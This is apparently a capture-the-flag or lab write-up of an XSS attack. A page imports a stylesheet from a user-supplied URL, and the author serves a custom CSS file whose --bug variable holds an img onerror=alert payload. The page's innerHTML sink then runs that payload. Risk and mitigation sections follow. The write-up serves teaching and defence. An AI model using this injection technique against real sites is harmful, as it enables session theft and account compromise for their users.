Cross Site Scripting (XSS) via stylesheet custom url ($URL)
Description
Cross-site scripting (XSS) is a type of security vulnerability found in web applications. It occurs when an attacker injects malicious code, typically in the form of scripts, into a trusted website or web application. This often happens through inputs provided by users, such as search boxes or comment sections, which are not properly validated or sanitized by the application.
Exploitation
First, I observed the provided code. I noticed that if we try to break the following href with a double quote, it would be replaced by "UseThePowerOfCSS".
<!-- Before append double quote -->
<link rel="stylesheet" href="https://$URL/style.css">
<!-- Result with double quote -->
<link rel="stylesheet" href="https://_UseThePowerOfCSS_/style.css">
Seeing that it isn't good, an idea comes to me, which is to set up an HTTPS microservice to import a customized CSS file.
To do this, I am using a Python script that handles SSL (HTTPS) and will use my IP plus the port 8000 that I assign to it.
Now that I have the ability to import via a URL, I test to see if the import of my file is successful by changing the background to a personalized image while ensuring that the background change and its coverage are specified as important.
Here is my code and the result.
body{
background-image: url('https://i.ytimg.com/vi/uDQwkvgBTpo/hqdefault.jpg') !important;
background-repeat: no-repeat;
background-size: cover !important;
}
Result :
This confirms to us that we can modify elements. From now on, we only need to see how to perform our XSS.
PoC
We will now consider how to carry out the attack.
Upon careful observation, I see two interesting things.
Firstly, we have a "root" element style which involves creating variables in CSS to easily call them, and therefore, in most cases, maintain a consistent theme (example: all
elements are in green, etc.). This is the code:
<style>
:root {
--hacker: A person dressed in a black hoodie along with a laptop;
--developer: A person who yells at their code to make things work;
--bug: "It's a feature";
}
</style>
The second one is this part of code:
<div id="btn">
<button onclick="Description('--hacker')">Hacker🥷</button>
<button onclick="Description('--developer')">Developer💾</button>
<button onclick="Description('--bug')">Bug👾</button>
<p id="desc"></p>
</div>
<script>
function Description(typ) {
let style_element = getComputedStyle(document.body);
let txt = style_element.getPropertyValue(typ);
document.getElementById('desc').innerHTML = `[<b style="color:lightgreen">+</b>] <i>${txt}❗</i>`;
}
</script>
This code creates a HTML structure with buttons and a paragraph element. When a button is clicked, the function Description(typ) is called with a specific parameter (either
Within the function, it retrieves the computed style of the document body element, specifically the value of the property specified by the parameter. It then updates the inner HTML of the element with the ID 'desc' to display a formatted message using the retrieved value.
I am modifying the CSS to look like this:
:root {
--hacker: A person dressed in a black hoodie along with a laptop;
--developer: A person who yells at their code to make things work;
--bug: <img src='#' onerror=alert("XSS") /></img> !important;
}
What will happen when we call our script is that it will first take the CSS stating that the variable
I import the code, everything is fine:
I click on the "bug" button, and there our XSS appeared.
Risk
For individual users, the risk of Stored XSS includes the potential exposure of personal data such as login credentials, financial information, or social security numbers. Attackers can exploit this vulnerability to steal sensitive data or gain unauthorized access to user accounts, leading to identity theft, financial loss, or even fraud.
In the case of companies, Stored XSS poses a significant risk to the organization's reputation, business operations, and customers. If an attacker successfully exploits this vulnerability, they can inject malicious code into the company's website, affecting all users who access it. This can lead to the theft or manipulation of critical business data, compromise customer information, result in financial loss, and damage the company's brand image.
How to mitigate
To mitigate the XSS vulnerability in the provided code, we can take the following steps:
-
Sanitize user input: Before using user input in your code, ensure that you properly sanitize it to remove any potentially malicious content. In this case, you should validate and sanitize the input used to set the --bug variable to prevent the injection of arbitrary code. -
Implement Content Security Policy (CSP): Use a Content Security Policy to restrict the types of content that can be loaded and executed on your webpage. By setting a strict CSP, you can prevent the execution of inline JavaScript and unauthorized loading of external resources. -
Use a security-focused HTML sanitization library: Utilize a trusted and actively maintained HTML sanitization library to clean any user-generated or dynamic content that is rendered on your webpage. This will help to remove any potentially malicious code and prevent XSS attacks.
By implementing these security measures, we can effectively mitigate the XSS vulnerability in the code and protect your website against such attacks.
Thank you for reading.